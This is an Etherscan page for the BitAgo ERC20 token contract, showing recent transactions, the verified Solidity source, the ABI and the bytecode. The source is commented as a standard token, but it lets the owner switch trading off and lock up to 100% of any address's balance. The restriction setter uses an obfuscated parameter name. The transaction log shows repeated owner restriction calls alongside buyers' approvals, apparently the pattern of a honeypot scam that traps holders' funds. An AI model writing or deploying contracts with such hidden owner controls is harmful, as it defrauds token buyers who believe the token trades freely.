ETH Price: $3,333.26 (-1.62%)
Gas: 21 Gwei

Contract

0x6566a87E33E13dB87a181eb9babEF716B87509BC
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve187200472023-12-05 12:08:35204 days ago1701778115IN
0x6566a87E...6B87509BC
0 ETH0.0024818552.6541713
Set Transfer Out...187198182023-12-05 11:22:47204 days ago1701775367IN
0x6566a87E...6B87509BC
0 ETH0.0024148651.69461778
Set Transfer Out...187196422023-12-05 10:46:35204 days ago1701773195IN
0x6566a87E...6B87509BC
0 ETH0.0023166449.5920404
Set Transfer Out...187196322023-12-05 10:44:35204 days ago1701773075IN
0x6566a87E...6B87509BC
0 ETH0.001994442.69394097
Set Transfer Out...187196192023-12-05 10:41:59204 days ago1701772919IN
0x6566a87E...6B87509BC
0 ETH0.0020902244.74507315
Set Transfer Out...187196182023-12-05 10:41:47204 days ago1701772907IN
0x6566a87E...6B87509BC
0 ETH0.0020380743.62884025
Approve187196142023-12-05 10:40:59204 days ago1701772859IN
0x6566a87E...6B87509BC
0 ETH0.001992342.53873942
Set Transfer Out...187193242023-12-05 9:42:23204 days ago1701769343IN
0x6566a87E...6B87509BC
0 ETH0.002008743.00002937
Set Transfer Out...187193082023-12-05 9:39:11204 days ago1701769151IN
0x6566a87E...6B87509BC
0 ETH0.0019431241.59610165
Approve187192862023-12-05 9:34:47204 days ago1701768887IN
0x6566a87E...6B87509BC
0 ETH0.0018879640.31109009
Set Transfer Out...187192482023-12-05 9:27:11204 days ago1701768431IN
0x6566a87E...6B87509BC
0 ETH0.0018844140.3394816
Set Transfer Out...187191792023-12-05 9:13:23204 days ago1701767603IN
0x6566a87E...6B87509BC
0 ETH0.0020975144.9012828
Set Transfer Out...187189212023-12-05 8:21:35204 days ago1701764495IN
0x6566a87E...6B87509BC
0 ETH0.0023225249.71788375
Set Transfer Out...187189202023-12-05 8:21:23204 days ago1701764483IN
0x6566a87E...6B87509BC
0 ETH0.0022199147.52141811
Set Transfer Out...187185282023-12-05 7:02:47204 days ago1701759767IN
0x6566a87E...6B87509BC
0 ETH0.0019954142.71562636
Set Transfer Out...187185272023-12-05 7:02:35204 days ago1701759755IN
0x6566a87E...6B87509BC
0 ETH0.0017742537.98132533
Approve187184122023-12-05 6:39:11204 days ago1701758351IN
0x6566a87E...6B87509BC
0 ETH0.0022973948.80276228
Approve187183092023-12-05 6:18:35204 days ago1701757115IN
0x6566a87E...6B87509BC
0 ETH0.0021038444.93188534
Approve187182572023-12-05 6:07:47204 days ago1701756467IN
0x6566a87E...6B87509BC
0 ETH0.0018826440.24904535
Set Transfer Out...187182192023-12-05 5:59:59204 days ago1701755999IN
0x6566a87E...6B87509BC
0 ETH0.0017173136.76225381
Set Transfer Out...187181802023-12-05 5:52:11204 days ago1701755531IN
0x6566a87E...6B87509BC
0 ETH0.0018073838.69045302
Approve187181642023-12-05 5:48:59204 days ago1701755339IN
0x6566a87E...6B87509BC
0 ETH0.0020779144.08430606
Set Transfer Out...187180832023-12-05 5:32:47204 days ago1701754367IN
0x6566a87E...6B87509BC
0 ETH0.0019709242.1912646
Set Transfer Out...187180742023-12-05 5:30:59204 days ago1701754259IN
0x6566a87E...6B87509BC
0 ETH0.0019885542.568623
Set Transfer Out...187179422023-12-05 5:04:23204 days ago1701752663IN
0x6566a87E...6B87509BC
0 ETH0.0021630646.30439233
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BitAgo

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-11-25
*/

pragma solidity ^0.8.2;

// ERC20 Interface
// This interface is used to define the standard functions for an ERC20 token.
interface IERC20 {
    // Returns the total token supply.
    function totalSupply() external view returns (uint256);

    // Returns the account balance of another account with address `account`.
    function balanceOf(address account) external view returns (uint256);

    // Transfers `amount` tokens to `recipient`, and MUST fire the Transfer event.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // Returns the amount of tokens approved by `owner` that can be transferred to `spender`'s account.
    function allowance(address owner, address spender) external view returns (uint256);

    // Sets `amount` as the allowance of `spender` over the caller's tokens, and MUST fire the Approval event.
    function approve(address spender, uint256 amount) external returns (bool);

    // Transfers `amount` tokens from `sender` to `recipient`, and MUST fire the Transfer event.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Events for transfer and approval actions.
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Context contract to define internal functions.
// Provides internal access to the sender of the transaction.
abstract contract Context {
    // Returns the address of the sender of the transaction.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Ownable contract to manage ownership.
// Provides basic authorization control functions.
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // The constructor sets the original `owner` of the contract to the sender account.
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Returns the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Throws if called by any account other than the owner.
    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    // Allows the current owner to relinquish control of the contract.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

// ERC20 Token implementation.
// Implements the standard ERC20 token along with ownership features.
contract BitAgo is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _transferOutRestrictions;
    bool private _tradingEnabled;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // Constructor to set up the token.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _tradingEnabled = true; 
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** uint256(decimals_));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Standard ERC20 functions to view token details.
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Function to enable or disable trading.
    function toggleTrading() public onlyOwner {
        _tradingEnabled = !_tradingEnabled;
    }

    // Transfer and approve functions with trading control and restrictions.
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_tradingEnabled, "Trading is disabled");
        uint256 restrictedAmount = _balances[_msgSender()] * _transferOutRestrictions[_msgSender()] / 100;
        require(_balances[_msgSender()] >= amount, "Transfer amount exceeds balance");
        require(_balances[_msgSender()] - restrictedAmount >= amount, "Transfer amount exceeds allowed balance");

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // More ERC20 standard functions.
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_tradingEnabled, "Trading is disabled");
        uint256 restrictedAmount = _balances[sender] * _transferOutRestrictions[sender] / 100;
        require(_balances[sender] >= amount, "Transfer amount exceeds balance");
        require(_balances[sender] - restrictedAmount >= amount, "Transfer amount exceeds allowed balance");
        require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    // Function to set restrictions on token transfers.
    function setTransferOutRestriction(address account, uint256 resadzsfgd) public onlyOwner {
        require(resadzsfgd <= 100, "Restriction cannot exceed 100%");
        _transferOutRestrictions[account] = resadzsfgd;
    }
    function getTransferOutRestriction(address account) public view returns (uint256) {
        return _transferOutRestrictions[account];
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getTransferOutRestriction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"resadzsfgd","type":"uint256"}],"name":"setTransferOutRestriction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002047380380620020478339818101604052810190620000379190620003a4565b6000620000496200024c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360059080519060200190620000ff92919062000254565b5082600690805190602001906200011892919062000254565b506001600460006101000a81548160ff02191690831515021790555081600760006101000a81548160ff021916908360ff1602179055508160ff16600a6200016191906200052a565b816200016e919062000667565b600881905550600854600160006200018b6200024c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001d96200024c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200023a919062000453565b60405180910390a35050505062000860565b600033905090565b828054620002629062000715565b90600052602060002090601f016020900481019282620002865760008555620002d2565b82601f10620002a157805160ff1916838001178555620002d2565b82800160010185558215620002d2579182015b82811115620002d1578251825591602001919060010190620002b4565b5b509050620002e19190620002e5565b5090565b5b8082111562000300576000816000905550600101620002e6565b5090565b60006200031b620003158462000499565b62000470565b9050828152602081018484840111156200033457600080fd5b62000341848285620006df565b509392505050565b600082601f8301126200035b57600080fd5b81516200036d84826020860162000304565b91505092915050565b60008151905062000387816200082c565b92915050565b6000815190506200039e8162000846565b92915050565b60008060008060808587031215620003bb57600080fd5b600085015167ffffffffffffffff811115620003d657600080fd5b620003e48782880162000349565b945050602085015167ffffffffffffffff8111156200040257600080fd5b620004108782880162000349565b935050604062000423878288016200038d565b9250506060620004368782880162000376565b91505092959194509250565b6200044d81620006c8565b82525050565b60006020820190506200046a600083018462000442565b92915050565b60006200047c6200048f565b90506200048a82826200074b565b919050565b6000604051905090565b600067ffffffffffffffff821115620004b757620004b6620007df565b5b620004c2826200080e565b9050602081019050919050565b6000808291508390505b60018511156200052157808604811115620004f957620004f862000781565b5b6001851615620005095780820291505b808102905062000519856200081f565b9450620004d9565b94509492505050565b60006200053782620006c8565b91506200054483620006c8565b9250620005737fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200057b565b905092915050565b6000826200058d576001905062000660565b816200059d576000905062000660565b8160018114620005b65760028114620005c157620005f7565b600191505062000660565b60ff841115620005d657620005d562000781565b5b8360020a915084821115620005f057620005ef62000781565b5b5062000660565b5060208310610133831016604e8410600b8410161715620006315782820a9050838111156200062b576200062a62000781565b5b62000660565b620006408484846001620004cf565b925090508184048111156200065a576200065962000781565b5b81810290505b9392505050565b60006200067482620006c8565b91506200068183620006c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006bd57620006bc62000781565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006ff578082015181840152602081019050620006e2565b838111156200070f576000848401525b50505050565b600060028204905060018216806200072e57607f821691505b60208210811415620007455762000744620007b0565b5b50919050565b62000756826200080e565b810181811067ffffffffffffffff82111715620007785762000777620007df565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200083781620006c8565b81146200084357600080fd5b50565b6200085181620006d2565b81146200085d57600080fd5b50565b6117d780620008706000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb14610229578063a983693014610259578063d009ee0614610275578063dd62ed3e146102a5576100ea565b8063715018a6146101e35780638da5cb5b146101ed57806395d89b411461020b576100ea565b806318160ddd116100c857806318160ddd1461014757806323b872dd14610165578063313ce5671461019557806370a08231146101b3576100ea565b806306fdde03146100ef578063095ea7b31461010d5780630f120fc31461013d575b600080fd5b6100f76102d5565b60405161010491906112d9565b60405180910390f35b61012760048036038101906101229190611143565b610367565b60405161013491906112be565b60405180910390f35b610145610467565b005b61014f6104d9565b60405161015c919061139b565b60405180910390f35b61017f600480360381019061017a91906110f4565b6104e3565b60405161018c91906112be565b60405180910390f35b61019d61095a565b6040516101aa91906113b6565b60405180910390f35b6101cd60048036038101906101c8919061108f565b610971565b6040516101da919061139b565b60405180910390f35b6101eb6109ba565b005b6101f5610ac0565b60405161020291906112a3565b60405180910390f35b610213610ae9565b60405161022091906112d9565b60405180910390f35b610243600480360381019061023e9190611143565b610b7b565b60405161025091906112be565b60405180910390f35b610273600480360381019061026e9190611143565b610ebb565b005b61028f600480360381019061028a919061108f565b610f8d565b60405161029c919061139b565b60405180910390f35b6102bf60048036038101906102ba91906110b8565b610fd6565b6040516102cc919061139b565b60405180910390f35b6060600580546102e49061158a565b80601f01602080910402602001604051908101604052809291908181526020018280546103109061158a565b801561035d5780601f106103325761010080835404028352916020019161035d565b820191906000526020600020905b81548152906001019060200180831161034057829003601f168201915b5050505050905090565b6000816002600061037661105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661041061105d565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610455919061139b565b60405180910390a36001905092915050565b61046f61105d565b73ffffffffffffffffffffffffffffffffffffffff1661048d610ac0565b73ffffffffffffffffffffffffffffffffffffffff16146104ad57600080fd5b600460009054906101000a900460ff1615600460006101000a81548160ff021916908315150217905550565b6000600854905090565b6000600460009054906101000a900460ff16610534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052b9061137b565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c29190611474565b6105cc9190611443565b905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610650576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106479061135b565b60405180910390fd5b8281600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069c91906114ce565b10156106dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d49061133b565b60405180910390fd5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072761105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156107a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079a9061131b565b60405180910390fd5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f291906114ce565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084891906113ed565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061089961105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108e291906114ce565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610946919061139b565b60405180910390a360019150509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c261105d565b73ffffffffffffffffffffffffffffffffffffffff166109e0610ac0565b73ffffffffffffffffffffffffffffffffffffffff1614610a0057600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610af89061158a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b249061158a565b8015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b6000600460009054906101000a900460ff16610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc39061137b565b60405180910390fd5b6000606460036000610bdc61105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610c2361105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c689190611474565b610c729190611443565b90508260016000610c8161105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf49061135b565b60405180910390fd5b828160016000610d0b61105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5091906114ce565b1015610d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d889061133b565b60405180910390fd5b8260016000610d9e61105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610de791906114ce565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3d91906113ed565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610e6361105d565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ea8919061139b565b60405180910390a3600191505092915050565b610ec361105d565b73ffffffffffffffffffffffffffffffffffffffff16610ee1610ac0565b73ffffffffffffffffffffffffffffffffffffffff1614610f0157600080fd5b6064811115610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906112fb565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60008135905061107481611773565b92915050565b6000813590506110898161178a565b92915050565b6000602082840312156110a157600080fd5b60006110af84828501611065565b91505092915050565b600080604083850312156110cb57600080fd5b60006110d985828601611065565b92505060206110ea85828601611065565b9150509250929050565b60008060006060848603121561110957600080fd5b600061111786828701611065565b935050602061112886828701611065565b92505060406111398682870161107a565b9150509250925092565b6000806040838503121561115657600080fd5b600061116485828601611065565b92505060206111758582860161107a565b9150509250929050565b61118881611502565b82525050565b61119781611514565b82525050565b60006111a8826113d1565b6111b281856113dc565b93506111c2818560208601611557565b6111cb81611649565b840191505092915050565b60006111e3601e836113dc565b91506111ee8261165a565b602082019050919050565b60006112066021836113dc565b915061121182611683565b604082019050919050565b60006112296027836113dc565b9150611234826116d2565b604082019050919050565b600061124c601f836113dc565b915061125782611721565b602082019050919050565b600061126f6013836113dc565b915061127a8261174a565b602082019050919050565b61128e81611540565b82525050565b61129d8161154a565b82525050565b60006020820190506112b8600083018461117f565b92915050565b60006020820190506112d3600083018461118e565b92915050565b600060208201905081810360008301526112f3818461119d565b905092915050565b60006020820190508181036000830152611314816111d6565b9050919050565b60006020820190508181036000830152611334816111f9565b9050919050565b600060208201905081810360008301526113548161121c565b9050919050565b600060208201905081810360008301526113748161123f565b9050919050565b6000602082019050818103600083015261139481611262565b9050919050565b60006020820190506113b06000830184611285565b92915050565b60006020820190506113cb6000830184611294565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113f882611540565b915061140383611540565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611438576114376115bc565b5b828201905092915050565b600061144e82611540565b915061145983611540565b925082611469576114686115eb565b5b828204905092915050565b600061147f82611540565b915061148a83611540565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156114c3576114c26115bc565b5b828202905092915050565b60006114d982611540565b91506114e483611540565b9250828210156114f7576114f66115bc565b5b828203905092915050565b600061150d82611520565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561157557808201518184015260208101905061155a565b83811115611584576000848401525b50505050565b600060028204905060018216806115a257607f821691505b602082108114156115b6576115b561161a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f5265737472696374696f6e2063616e6e6f742065786365656420313030250000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f7765642060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b7f54726164696e672069732064697361626c656400000000000000000000000000600082015250565b61177c81611502565b811461178757600080fd5b50565b61179381611540565b811461179e57600080fd5b5056fea264697066735822122092e6dd95031418a5953b301d1fdfe2e2fafd895505d38c69f34c184434bdc13c64736f6c63430008020033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000009502f900000000000000000000000000000000000000000000000000000000000000000642697441676f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642697441676f0000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb14610229578063a983693014610259578063d009ee0614610275578063dd62ed3e146102a5576100ea565b8063715018a6146101e35780638da5cb5b146101ed57806395d89b411461020b576100ea565b806318160ddd116100c857806318160ddd1461014757806323b872dd14610165578063313ce5671461019557806370a08231146101b3576100ea565b806306fdde03146100ef578063095ea7b31461010d5780630f120fc31461013d575b600080fd5b6100f76102d5565b60405161010491906112d9565b60405180910390f35b61012760048036038101906101229190611143565b610367565b60405161013491906112be565b60405180910390f35b610145610467565b005b61014f6104d9565b60405161015c919061139b565b60405180910390f35b61017f600480360381019061017a91906110f4565b6104e3565b60405161018c91906112be565b60405180910390f35b61019d61095a565b6040516101aa91906113b6565b60405180910390f35b6101cd60048036038101906101c8919061108f565b610971565b6040516101da919061139b565b60405180910390f35b6101eb6109ba565b005b6101f5610ac0565b60405161020291906112a3565b60405180910390f35b610213610ae9565b60405161022091906112d9565b60405180910390f35b610243600480360381019061023e9190611143565b610b7b565b60405161025091906112be565b60405180910390f35b610273600480360381019061026e9190611143565b610ebb565b005b61028f600480360381019061028a919061108f565b610f8d565b60405161029c919061139b565b60405180910390f35b6102bf60048036038101906102ba91906110b8565b610fd6565b6040516102cc919061139b565b60405180910390f35b6060600580546102e49061158a565b80601f01602080910402602001604051908101604052809291908181526020018280546103109061158a565b801561035d5780601f106103325761010080835404028352916020019161035d565b820191906000526020600020905b81548152906001019060200180831161034057829003601f168201915b5050505050905090565b6000816002600061037661105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661041061105d565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610455919061139b565b60405180910390a36001905092915050565b61046f61105d565b73ffffffffffffffffffffffffffffffffffffffff1661048d610ac0565b73ffffffffffffffffffffffffffffffffffffffff16146104ad57600080fd5b600460009054906101000a900460ff1615600460006101000a81548160ff021916908315150217905550565b6000600854905090565b6000600460009054906101000a900460ff16610534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052b9061137b565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c29190611474565b6105cc9190611443565b905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610650576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106479061135b565b60405180910390fd5b8281600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069c91906114ce565b10156106dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d49061133b565b60405180910390fd5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061072761105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156107a3576